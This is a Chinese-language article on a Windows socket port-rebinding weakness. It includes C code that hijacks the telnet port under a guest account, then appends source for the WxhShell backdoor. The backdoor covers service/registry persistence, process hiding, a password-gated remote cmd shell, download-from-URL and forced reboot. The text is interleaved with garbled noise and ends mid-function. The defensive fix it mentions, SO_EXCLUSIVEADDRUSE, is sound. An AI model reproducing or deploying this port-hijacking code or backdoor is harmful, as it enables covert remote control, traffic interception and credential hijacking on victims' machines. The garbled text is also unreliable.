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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j |'#5H` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N}+B:l]Qy K*Nb_|~ saddr.sin_family = AF_INET; >|_gT%]5 v;bM.OL saddr.sin_addr.s_addr = htonl(INADDR_ANY); -Ty<9(~S qN1e{T8u bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \9>g;qPg} #>E3' 5b 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J"D&q f=_Bx2ub 这意味着什么?意味着可以进行如下的攻击: b#Fk>j M=\d_O#;Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PK-}Ldj
)-Mn"1ia 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G {pP} kol,Qs 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'TK$ndy;7} )~?S0]j} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 [al(>Wr9 C NzSBm 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 } Jdh^t . yRq8;@YGY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
u]1-h6 }P&1s,S8J# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *C3uMiz oz\{9Lwc #include uFrJ:l+ #include A{i][1N #include x;ERRK #include $vg moJ@X0 DWORD WINAPI ClientThread(LPVOID lpParam); =0C l int main() q*F~~J!P { Io,/ +#| WORD wVersionRequested; kH>vD =q> DWORD ret; K)9j
je WSADATA wsaData; H#kAm!H BOOL val; 8"?Vcw& SOCKADDR_IN saddr; SgCqxFii SOCKADDR_IN scaddr; m0%iw1OsH% int err; /^z/]!JG:V SOCKET s; w!B,kqTG SOCKET sc; dr,B\.|jC int caddsize; %S
>xSqX HANDLE mt; r6oX6.c DWORD tid; pjX%LsX\ wVersionRequested = MAKEWORD( 2, 2 ); u
n?j err = WSAStartup( wVersionRequested, &wsaData ); 1kvPiV=X> if ( err != 0 ) { DJ1XNpm printf("error!WSAStartup failed!\n"); b[{m>Fa+o# return -1; DqurHQ z)m } Ad}-I%Ie saddr.sin_family = AF_INET; .^[fG59 8CP9DS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 80FCe(U ]b0zkoD9< saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nu469 saddr.sin_port = htons(23); <t?x 'r?@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w2uRN? { ;S=62_Un printf("error!socket failed!\n"); @MN}^umx` return -1; ;e#>n!<u } *tTP8ZCQ[ val = TRUE; u=d`j //SO_REUSEADDR选项就是可以实现端口重绑定的 v5&xY2RI7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XJ
f+Eh { 1V*8,YiC< printf("error!setsockopt failed!\n"); m6bWmGnGC return -1; .KT 7le<Zm } hV3,^#9o //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x"(7t3xK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WX%h4)z* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mC*W2#1pF }"%!(rx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) di]$dl|Wi { <_BqpZ^` ret=GetLastError(); SE-!|WR printf("error!bind failed!\n"); ^w;o \G return -1; 5}-)vsa` } `YFkY^T listen(s,2); &57qjA,8< while(1) sowbg<D { `!Ua ScM caddsize = sizeof(scaddr); vO}qjw //接受连接请求 Ap
F*a$), sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qO:U]\P if(sc!=INVALID_SOCKET) {Ior.(D>Y { =gMaaGg p, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ' +)6#/* if(mt==NULL) -{yDk$" { DHh+%|e printf("Thread Creat Failed!\n"); 9l]UE0yTL/ break; v?Z'[l } w$DG=! } ]yyU)V0Iu CloseHandle(mt); rtB|N- } +l2e[P+qA closesocket(s); hrJ$%U
WSACleanup(); +L`V[; return 0; g>6:CG" } HO266M DWORD WINAPI ClientThread(LPVOID lpParam) [b7it2`dl { B]'e$uyL7 SOCKET ss = (SOCKET)lpParam; q6;OS.f SOCKET sc; KcIc'G 9 unsigned char buf[4096]; +
$k07mb\ SOCKADDR_IN saddr; O]e6i%? long num; 2^zg0!z DWORD val; 7^kH8qJ) DWORD ret; z{Hz;m:*_ //如果是隐藏端口应用的话,可以在此处加一些判断 $?H]S]#|}. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |RHO+J saddr.sin_family = AF_INET; H/cs_i saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EsT0"{ saddr.sin_port = htons(23); QDIsC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xT{TVHdU { y,'FTP9? printf("error!socket failed!\n"); }U2[? return -1; .LX?VD } euRCBzc val = 100; /'-:=0a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ::4"wU3t { )vO_sIbnW ret = GetLastError(); +V2C}NQ5R return -1; {@Blj3 ;w} } X }m7@r@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '9^E8+=| { }R`8h&J ret = GetLastError(); zXj>K3M return -1; dj?G.- } <2n'}&F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Wl,%&H2S< { I'x$,s printf("error!socket connect failed!\n"); Q<z)q<e closesocket(sc); *
zd. closesocket(ss); \z2vV+f return -1; MNkKy(Za } vad|Rp l while(1) Zn?8\ { "EJ\]S]$X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OZ eiHX! //如果是嗅探内容的话,可以再此处进行内容分析和记录 8r2XGR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,yTN$K%M num = recv(ss,buf,4096,0); {;U} :Dx if(num>0) w+Ad$4Pf" send(sc,buf,num,0); D*|(
p6v1& else if(num==0) -s{R/ 6: break; [Dnusp7e num = recv(sc,buf,4096,0); RI?NB6U if(num>0) aLV~|$:2 send(ss,buf,num,0); [fd~nD#. else if(num==0) %rFP#L break; }%_qx|(P|t } HTxB=Q| closesocket(ss); )8:n}w closesocket(sc); <inl{CX/ return 0 ; %wOOzp` } 7}gA0fP9 !>\9t9 ,Yo: &>As ========================================================== x<8\- BeAk21xb 下边附上一个代码,,WXhSHELL SO7(K5H, fv:L\N1u ========================================================== C=8H)Ef,l cvxIp#FbW #include "stdafx.h" QT_Srw@ L+_8QK < #include <stdio.h> ^n
t~-% #include <string.h> C2NzP & FD #include <windows.h> {>S4#^@} #include <winsock2.h> ldP3n:7FS #include <winsvc.h> 2%bhW,?I #include <urlmon.h> :g&>D#{ GX7VlI[ #pragma comment (lib, "Ws2_32.lib") MdLj,1_T #pragma comment (lib, "urlmon.lib") R j-jAH cnbo+U #define MAX_USER 100 // 最大客户端连接数 9 _eS`,' #define BUF_SOCK 200 // sock buffer =+`D #define KEY_BUFF 255 // 输入 buffer E`~i-kf *<w3" iq #define REBOOT 0 // 重启 o.v2z~V #define SHUTDOWN 1 // 关机 #sL/y -H4PRCDH #define DEF_PORT 5000 // 监听端口 .a {QA H%FM #define REG_LEN 16 // 注册表键长度 ^Wf
S\M` #define SVC_LEN 80 // NT服务名长度 g/x_m. }&mj.hGv // 从dll定义API L+Eu
d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9wzwY[{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !`Le`c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CK=ARh#|
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vfb<o"BQk @?m+Z"o|z // wxhshell配置信息 o94PI*. struct WSCFG { D$ ej+s7 int ws_port; // 监听端口 OqtQA#uL char ws_passstr[REG_LEN]; // 口令 )q^(T1 int ws_autoins; // 安装标记, 1=yes 0=no k/U>N|5 char ws_regname[REG_LEN]; // 注册表键名 R !9qQn? char ws_svcname[REG_LEN]; // 服务名 3zbXAR* char ws_svcdisp[SVC_LEN]; // 服务显示名 v C^>p5F char ws_svcdesc[SVC_LEN]; // 服务描述信息 9g96 d- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ci;&CHa int ws_downexe; // 下载执行标记, 1=yes 0=no -7&?@M,u char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" j+nv=p char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r-*l1([eW %S c=_%6 }; gUspGsfr N_0pO<<cs // default Wxhshell configuration ::ri3Tu struct WSCFG wscfg={DEF_PORT, O6/xPeak "xuhuanlingzhe", Q@3B{ 1, _g65pxt =Z "Wxhshell", !h?=Wv
==] "Wxhshell", YKNb59k "WxhShell Service", H)\4=^ "Wrsky Windows CmdShell Service", whw{dfE "Please Input Your Password: ", v3~FR,Kl 1, \PzN XQ$ " http://www.wrsky.com/wxhshell.exe", <vL}l: r "Wxhshell.exe" {|Bd?U; }; =Aj"j-r&{ % oR>Uo // 消息定义模块 Nvhy3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =88t*dH(," char *msg_ws_prompt="\n\r? for help\n\r#>"; 3Mur*tj# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ERp{gB2U? char *msg_ws_ext="\n\rExit."; w?*jdwh,' char *msg_ws_end="\n\rQuit."; !n:uiwh char *msg_ws_boot="\n\rReboot..."; jK e.gA char *msg_ws_poff="\n\rShutdown..."; {-J:4*` char *msg_ws_down="\n\rSave to "; ,b4g.CV ?@>;/@ char *msg_ws_err="\n\rErr!"; *CzCUu:%t char *msg_ws_ok="\n\rOK!"; ;HP#bx 2p+C%"n> char ExeFile[MAX_PATH]; ^B|YO8.v int nUser = 0; >r=6A
HANDLE handles[MAX_USER]; 1!d)PK>1$ int OsIsNt; VJ*\pM@no $3]b>v SERVICE_STATUS serviceStatus; t GC2
^a#~ SERVICE_STATUS_HANDLE hServiceStatusHandle; Tn /Ut}]O 22|"K**3J| // 函数声明 r
3|4gG int Install(void); YroNpu]s int Uninstall(void); .x>HA^4 int DownloadFile(char *sURL, SOCKET wsh); %OEq,Tb int Boot(int flag); FZH-q!"^cK void HideProc(void); Ajg\aof0{ int GetOsVer(void); uS&LG#a int Wxhshell(SOCKET wsl); 0`6),R'x void TalkWithClient(void *cs); rtus`A5p int CmdShell(SOCKET sock); ![).zi+m int StartFromService(void); +O4( a. int StartWxhshell(LPSTR lpCmdLine); ZJ9x6|q Ox~ 9_d VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 95[wM6?J VOID WINAPI NTServiceHandler( DWORD fdwControl ); bb}?h]a IqNpLh|[ // 数据结构和表定义 rpSr^slr SERVICE_TABLE_ENTRY DispatchTable[] = l^
Rm0t_ { t{6ap +%L {wscfg.ws_svcname, NTServiceMain}, CIEJql?` {NULL, NULL} X% X$Y6 }; Hv8H.^D> LJj=]_ // 自我安装 x^X$M$o,l int Install(void) mbGcDG[HQ { *Wso3 6an char svExeFile[MAX_PATH]; !VFem~'d HKEY key; aiJnfU]W strcpy(svExeFile,ExeFile); bs
BZE Li]k7w?H // 如果是win9x系统,修改注册表设为自启动 O2% ` 2h if(!OsIsNt) { =q5@,wN^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G0pBR]_5z$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x~z_,': RegCloseKey(key); x2@,9OUx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $
o"
L;j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %Ci^*zb RegCloseKey(key); d@Q][7 return 0; WcU@~05b } QkL@JF]Re } @iRO7 6m } HitAc8 else { ~$Y|ca GkciA{ // 如果是NT以上系统,安装为系统服务 +aj^Cs1$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i5VG2S if (schSCManager!=0) 06jMj26! { GQ[pG{_+ SC_HANDLE schService = CreateService uOre,AQR ( ikIzhUWE schSCManager, d/lffNS= wscfg.ws_svcname, z&>|*C.Y wscfg.ws_svcdisp, UGCox-W" SERVICE_ALL_ACCESS, [IMQIX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :/i~y $t SERVICE_AUTO_START, r@yD8 D \ SERVICE_ERROR_NORMAL, ami09JHy svExeFile, Dkw*Je#6PX NULL, Z\' wm' NULL, PtqGX=u NULL, 8 URj1 W NULL, Fg4@On[,i NULL .it2NS ); 'in@9XO if (schService!=0) 4w;~4#ZPp { lLMPw}r< CloseServiceHandle(schService); lJ&y&N<O CloseServiceHandle(schSCManager); O|7yP30?M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FT(iX`YQ strcat(svExeFile,wscfg.ws_svcname); Cg3ODfe if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H-2_j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9n 6fXOC RegCloseKey(key); jtCZfFD? return 0; )88nMH- } vhpvO>Q } 0bSz4<} CloseServiceHandle(schSCManager); : u-.T.zZl } )
$#(ZL^m } N Bz%(?\ GI_DhU]~) return 1; !oGQ8 e } ?+\E3}: ($SLb6 // 自我卸载 7E~4)k0< int Uninstall(void) ?:/|d\,7@ { <m]wi7 HKEY key; CV3DMA lhxdx if(!OsIsNt) { S(w\Z C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !W~<q{VTs RegDeleteValue(key,wscfg.ws_regname); <xqba4O RegCloseKey(key); { 8p\Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SK-W%t RegDeleteValue(key,wscfg.ws_regname); v)+@XU2wZ RegCloseKey(key); "Yby return 0; !+KhFC&Py } eT-9 } {(Fe7,.S3 } t!~S9c else { + Kk@Q u|OtKq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :1MMa6 if (schSCManager!=0) hDvpOIUL1 { Gkmsaf> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "lrA%~3%[P if (schService!=0) N,|r1u 9X# { A?,A(-0C if(DeleteService(schService)!=0) { $:;%bjSI CloseServiceHandle(schService); l[*sHi CloseServiceHandle(schSCManager); rN#\AN return 0; a:}E& ,&M } ?wCs&tM CloseServiceHandle(schService); |[LE9Lq/ } jyQVSQs CloseServiceHandle(schSCManager); K(OaW)j } Y 1y E } .CS v|:'1
g`3H(PVg return 1; &h(g$-l?[ } $"fzBM?5 LM6]kll // 从指定url下载文件 eXG57<t ON int DownloadFile(char *sURL, SOCKET wsh) pBU]=[M0 { +>#e=nH HRESULT hr; M5O'=\+,F char seps[]= "/"; }"4roJ char *token; oIxH 3T char *file; x8/us char myURL[MAX_PATH]; h[Mdr char myFILE[MAX_PATH]; =fWdk\Wv 8K^f:)Qw strcpy(myURL,sURL); aDveU)]=1 token=strtok(myURL,seps); n_P(k-^U* while(token!=NULL) }p{;^B { *8UYS A~v file=token; yoU2AMH2D^ token=strtok(NULL,seps); (Fqa][0 } t:T?7-XIE Nb1J ~v GetCurrentDirectory(MAX_PATH,myFILE); oyW00]ka strcat(myFILE, "\\"); &^+3errO strcat(myFILE, file); u`6/I#q` send(wsh,myFILE,strlen(myFILE),0); h>W@U9 send(wsh,"...",3,0); >BJ}U_ck hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |D<+X^0' if(hr==S_OK) *l-`<. return 0; m^A]+G#/ else "K
?#,_ return 1; n$W"=Z;` jsdBd2Gdc } 2d~LNy ?4sJw: // 系统电源模块 Tq#<Po $ int Boot(int flag) xFwXW) { Q!]IG;3Sx| HANDLE hToken; c'rd $ TOKEN_PRIVILEGES tkp; kwF] TO
S [>p6 if(OsIsNt) { b0YNac.l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \u8,!) 4i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [-58Ezyr tkp.PrivilegeCount = 1; $?$9y^\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pL)xqKj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @H+~2;B, if(flag==REBOOT) { 9[sG1eP! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5p
)IV>G return 0; +V1}@6k
: } MWhwMj!:m else { 1|/'"9v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rf:<-C0T return 0; J#(,0h } o&,Y<$!:VH } R9vY:oN% else { ^6qjSfFW} if(flag==REBOOT) { 0I^Eo| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cAibB&`~ return 0; ^jOCenE3 } G4m4k else { &-4
?! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~},~c:fF? return 0; :d({dF_k;p } @>:i-5 } df
?eL2v OHhs y|W return 1; I+~bCcgPi } 9`INC~h NQR^%<hU // win9x进程隐藏模块 OAVQ`ek void HideProc(void) E*^9|Y[ { SUc6/'Rdr `Hd9\;NJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sX5sL if ( hKernel != NULL ) IXJ6PpQLv { 8nsZ+,@+[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]738Z/)^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3cHtf FreeLibrary(hKernel); uP Rl[tS0 } /n8psj pg!`SxFD return; ]?&H^"= } _NT[
~M_Q ~lk@6{`l|1 // 获取操作系统版本 48k7/w\ int GetOsVer(void) 6g|#ho1Bbs { pw;r 25 OSVERSIONINFO winfo; f8#*mQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $`v+4] GetVersionEx(&winfo); :ol6%Z's if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Oe`s(O@[I return 1; N33AcV!*8 else 6? !I return 0; X(b1/lzA } ig$jKou
F fCr\u6Tb // 客户端句柄模块 Gql`>~ int Wxhshell(SOCKET wsl) tIp{},bQ^ { <N-=fad] SOCKET wsh; QXB|!' struct sockaddr_in client; gWi{\x8dt DWORD myID; ZMe}M!V Oj-r;Tt_G} while(nUser<MAX_USER) v~aLTI { 0#
l#,Y6#I int nSize=sizeof(client); J[6VBM.Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ju4.@ if(wsh==INVALID_SOCKET) return 1; hk.yR1Y| 0+|>-b/% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eK*W=c#@ if(handles[nUser]==0) kXMP=j8 closesocket(wsh); >fg4x+0 % else tO`?{?W7 nUser++; i7(~>6@| } ,S0UY):( A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uR^. yYk|YX(7U return 0; ;.AV;C" } wsI5F&R, 1I
b_Kmb- // 关闭 socket B#:E?a;{ void CloseIt(SOCKET wsh) `1q|F9D { ]K*GSU closesocket(wsh); }biCQ*{' nUser--; k{1b20 ExitThread(0);
aH } ^6#-yDZC@ . wmkj // 客户端请求句柄 5v+L';wx[T void TalkWithClient(void *cs) ?eVj8 $BQo { %!yxC D$mf5G & SOCKET wsh=(SOCKET)cs; DUhT>,~] char pwd[SVC_LEN]; &\c5!xQ9* char cmd[KEY_BUFF]; Zsgi{ char chr[1]; #?Wo <]i int i,j; 1EuK,:x EzUPah while (nUser < MAX_USER) { @ce3%`c_ CZ2iJy if(wscfg.ws_passstr) {
2n(ItA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H<XlUCr_~+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E)Srj~$d //ZeroMemory(pwd,KEY_BUFF); Z>&K&ttJ i=0; 97(n\Wt2 while(i<SVC_LEN) { 3r`<(%\ {>A
8g({i // 设置超时 k5C>_(
A fd_set FdRead; {<r`5 struct timeval TimeOut; G_0)oC@Jl: FD_ZERO(&FdRead); `;e^2 FD_SET(wsh,&FdRead); gLV^Z6eE TimeOut.tv_sec=8; "&}mAWT%If TimeOut.tv_usec=0; g&XhQ.aa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [*tU}9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l)H9J]
g/6nwa
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TRo4I{L6S pwd =chr[0]; [m
%W:Ez if(chr[0]==0xd || chr[0]==0xa) { @| P3 pwd=0; P.!;Uf}32 break; [{?;c+[ } T*8_FR < i++; J(^
>?d' } 69rwX"^ F46O!xb% // 如果是非法用户,关闭 socket l=,.iv=W if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Py<qXH } _En]@xK3& EL"4E', send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OkkhP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !}y8S'Yjw 98=XG1sQ@ while(1) { 5"[yFmP* VSx%8IM+X ZeroMemory(cmd,KEY_BUFF); vmMV n-\# A=W5W5l(> // 自动支持客户端 telnet标准 Na-q%ru j=0; Up'."w_zE while(j<KEY_BUFF) { XQ4dohGCP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c_t7RWV} cmd[j]=chr[0]; Y5Ft96o))x if(chr[0]==0xa || chr[0]==0xd) { roL}lM$ cmd[j]=0; z(#=tC| break; [rc'/@L } UJ
O]sD`i j++; 0:s8o@} } '8L(f w{k :C>J-zY // 下载文件 o%$<LaQG5 if(strstr(cmd,"http://")) { = >P_mPP= send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 =*@l if(DownloadFile(cmd,wsh)) )\(lg*?: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6NU8HJp else X4XFu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e
W9)@nVJ } ~>4@; else { t&8<k+m G[vUOEU~O switch(cmd[0]) { a
pKa4nI
g<0w/n!jmC // 帮助 Ja^7$WY case '?': { !'Gb$l! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZWov_ break; ^Kb9@lz/ } q#.rYzl0 // 安装 fp,1qzU[k case 'i': { [f/vLLK if(Install()) 6vMDm0sv send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,>:XE@xcp else |dW2dQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,HQ1C8 break; ^u= PdBY } 2LtU;}7s // 卸载 X
S6]C{ case 'r': { X+/{%P!w if(Uninstall()) Jii?r*"d send(wsh,msg_ws_err,strlen(msg_ws_err),0); -WQ_[t9l else uPM8GIvZX. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wdei`u[ break; iH($rSE } K]*g, s+ // 显示 wxhshell 所在路径 *Pa2bY3: case 'p': { F+lm [4n char svExeFile[MAX_PATH]; Vi Cg|1c strcpy(svExeFile,"\n\r"); -lnTYxo+]^ strcat(svExeFile,ExeFile); A/ox#(!v send(wsh,svExeFile,strlen(svExeFile),0); 0G+L1a- break; de*,MkZN } (YaOh^T:| // 重启 L3-<Kop case 'b': { 1v> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ra#UG\Y8 if(Boot(REBOOT)) 6RR4L^(m send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`?sE*P@` else { ~)WfJ closesocket(wsh); #L|JkBia ExitThread(0); -='8_B/75 } g}\U, ( break; h
v;n[ } aNuZ/9O // 关机 D?^`(X P case 'd': { :u[
oc. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H>gWxJ
5 if(Boot(SHUTDOWN)) O('i*o4!} send(wsh,msg_ws_err,strlen(msg_ws_err),0); p,M3#^ q else { 6,CU)-98G closesocket(wsh); qk"oFP6 ExitThread(0); >cvE_g"?C } f\U? :83 break; I,?Fqg'sq } 9n06n$F // 获取shell P wt ?9I case 's': { <k!mdj) CmdShell(wsh); 8=ukS_?Vy closesocket(wsh); k)<~nc- ExitThread(0); 5`OK- break; ;EE{~ } |SSfG~r // 退出 jQH5$ case 'x': { =B3!jir send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FFD*e-i CloseIt(wsh); GU;TK'Yy? break; )]0[`iLe } i'eYmm96Q // 离开 . }-@;:yh case 'q': { M]%!n3Fb send(wsh,msg_ws_end,strlen(msg_ws_end),0); *SMoodFBS closesocket(wsh); b#/V; WSACleanup(); 0+VncL)u exit(1); 1@1+4P0NF[ break; U|y;b+n` } 3:02`;3 } 6T}
CPDRq } ;%b <uV -.+KCt G$+ // 提示信息 Y]`lEq% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h&:Q$*A> } sqMNon`5 } ?,+C!R? 0pZ.; /<{ return; s)`1Rf } g4.'T51 {Q#Fen
;y| // shell模块句柄 iuH8g int CmdShell(SOCKET sock) qxg7cj2 { 7 ~% STARTUPINFO si; Uy_}@50"l ZeroMemory(&si,sizeof(si)); LB64W ;#h si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3;-@<9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jnu}{^~ PROCESS_INFORMATION ProcessInfo; rSc,\upz char cmdline[]="cmd"; a?xq*|? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bH)8UQR% return 0; 5{!a+ } /pSUn"3 /v|68x6 // 自身启动模式 FS]+s> int StartFromService(void) MK!]y8+Z { Ztpm_P6 typedef struct c9cphZ(z { {C,1w DWORD ExitStatus; yv#c=v| DWORD PebBaseAddress; #:Sy`G6!? DWORD AffinityMask; -G^t-I DWORD BasePriority; L(!!7B_, ULONG UniqueProcessId; NdXy%Q ULONG InheritedFromUniqueProcessId; kp<} } PROCESS_BASIC_INFORMATION; oE|u;o X{9JSq PROCNTQSIP NtQueryInformationProcess; 4E>/*F! C^8)IN=$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U d=gdsL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3 DO$^JJ. ^S;RX* HANDLE hProcess; J}Z_.:JO(w PROCESS_BASIC_INFORMATION pbi; DbNi;m J*q=C%}. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nV,{w4t+ if(NULL == hInst ) return 0; R1b
